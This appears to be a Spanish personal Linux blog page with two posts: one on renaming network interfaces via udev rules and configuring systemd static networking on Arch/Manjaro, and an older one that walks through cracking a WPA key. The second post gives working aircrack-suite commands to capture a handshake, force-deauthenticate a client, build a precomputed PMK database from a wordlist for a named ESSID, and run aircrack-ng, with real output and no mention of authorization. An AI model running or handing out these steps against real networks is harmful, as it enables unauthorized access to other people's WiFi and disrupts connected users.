Páginas

Mostrando entradas con la etiqueta airolib-ng. Mostrar todas las entradas
Mostrando entradas con la etiqueta airolib-ng. Mostrar todas las entradas

martes, 4 de junio de 2019

Cambiar nombre de interfaces de red

Cambiar nombre a las tarjetas de red. Archlinux - Manjaro Linux

Por comodidad cambiaremos los nombres de las tarjetas de red

Obtener la dirección MAC de cada tarjeta

$ cat /sys/class/net/enp3S0/address
fc:3f:db:d1:52:75

$ cat /sys/class/net/wln2us/address
b6:59:5f:32:79:c4

Definiendo manualmente el nombre con una regla udev:

# nano -w /etc/udev/rules.d/10-network.rules

SUBSYSTEM=="net", ACTION=="add", ATTR{address}=="fc:3f:db:d1:52:75", NAME="net0"
SUBSYSTEM=="net", ACTION=="add", ATTR{address}=="b6:59:5f:32:79:c4", NAME="wifi0"

Después de reiniciar tenemos los nuevos nombres de las interfaces de red

$ ls /sys/class/net
lo  net0  wifi0

Conectar manualmente al arranque usando systemd


Primero se crea el archivo de configuración de servicio de systemd
# nano -w /etc/conf.d/network@net0

address=192.168.3.200
netmask=24
broadcast=192.168.3.255
gateway=192.168.3.1

Luego se crea un archivo de unidad de systemd:

/etc/systemd/system/network@.service

[Unit]
Description=Network connectivity (%i)
Wants=network.target
Before=network.target
BindsTo=sys-subsystem-net-devices-%i.device
After=sys-subsystem-net-devices-%i.device

[Service]
Type=oneshot
RemainAfterExit=yes
EnvironmentFile=/etc/conf.d/network@%i

ExecStart=/usr/bin/ip link set dev %i up
ExecStart=/usr/bin/ip addr add ${address}/${netmask} broadcast ${broadcast} dev %i
ExecStart=/usr/bin/ip route add default via ${gateway}

ExecStop=/usr/bin/ip addr flush dev %i
ExecStop=/usr/bin/ip link set dev %i down

[Install]
WantedBy=multi-user.target

Activamos e iniciamos la unidad, proporcionando el nombre de la interfaz

# systemctl enable network@net0.service
# systemctl start network@net0.service

En el nuevo kernel cambiaremos los nuevos valores por defecto para intercambiar entre la tarjeta de red alámbrica e inalámbrica sin ningún problema. 

# echo 1 > /proc/sys/net/ipv4/conf/net0/ignore_routes_with_linkdown
# echo 1 > /proc/sys/net/ipv4/conf/wifi0/ignore_routes_with_linkdown

Para que los cambios sobrevivan al reinicio del sistema


# echo net.ipv4.conf.all.ignore_routes_with_linkdown=1 > /etc/sysctl.d/10-linkdown.conf
# sysctl -p /etc/sysctl.d/10-linkdown.conf

# ip r
default via 192.168.3.1 dev net0 proto dhcp metric 100
192.168.3.0/24 dev net0 proto kernel scope link src 192.168.3.10 metric 100

# ip addr
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: net0: mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether fc:3f:db:d1:52:75 brd ff:ff:ff:ff:ff:ff
    inet 192.168.3.10/24 brd 192.168.3.255 scope global dynamic noprefixroute net0
       valid_lft 35953sec preferred_lft 35953sec
    inet6 fe80::3637:14af:6cb9:ee7e/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
3: wifi0: mtu 1500 qdisc fq_codel state DORMANT group default qlen 1000
    link/ether 12:af:c7:9b:ed:31 brd ff:ff:ff:ff:ff:ff

En este momento estoy conectado a la red 192.168.3.0/24 (router soekris OpenBSD). Por tanto el sistema utiliza los DNS servidor dhcp del router.

$ cat /etc/resolv.conf
# Generated by NetworkManager
nameserver 1.1.1.1
nameserver 1.0.0.1

OpenBSD es genial!.

lunes, 17 de enero de 2011

Wpa y airolib-ng

Claves Wpa y airolib-ng
Avanzado

Capturar el Handshake AP y canal especifico:
hypatia gentoo # airodump-ng --bssid macap -c 1 -w output mon0

Desautenticar
hypatia gentoo # aireplay-ng --deauth 10 -a macap -c maclient mon0

Aparece el nombre del essid oculto
Tendo el Handshake

wpa Handshake: xx:xx:xx:xx:xx:xx

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --import passwd /media/wpa_tables/wpa_psk-h1kari_renderman/word.lst /media/wpa_tables/wpa_psk-h1kari_renderman/database
Database does not already exist, creating it...
Database sucessfully created
Reading file...
Writing...lines read, 190867551 invalid lines ignored.
Done.

Un archivo de texto llamado essid con el nombre del ssid:
hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --import essid ./essid
Reading file...
Writing...
Done.

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --stats
There are 1 ESSIDs and 4047221 passwords in the database. 0 out of 4047221 possible combinations have been computed (0%).

ESSID    Priority    Done
JAZZTEL_568B    64    0.0

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --clean all
Deleting invalid ESSIDs and passwords...
Deleting unreferenced PMKs...
Analysing index structure...
Vacuum-cleaning the database. This could take a while...
Checking database integrity...
integrity_check
ok

Done.

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --batch
Computed 25000 PMK in 126 seconds (198 PMK/s, 225000 in buffer).
Computed 50000 PMK in 248 seconds (201 PMK/s, 200000 in buffer).
Computed 75000 PMK in 370 seconds (202 PMK/s, 175000 in buffer).
Computed 100000 PMK in 492 seconds (203 PMK/s, 150000 in buffer)
Computed 4047221 PMK in 20216 seconds (200 PMK/s, 0 in buffer).
All ESSID processed.

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --verify all
Checking all PMKs. This could take a while...
ESSID    PASSWORD    PMK_DB    CORRECT

hypatia cowpatty-4.3 # aircrack-ng -r /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa output-01.cap

current passhare: .....

key fount [..........]

Linux es genial!.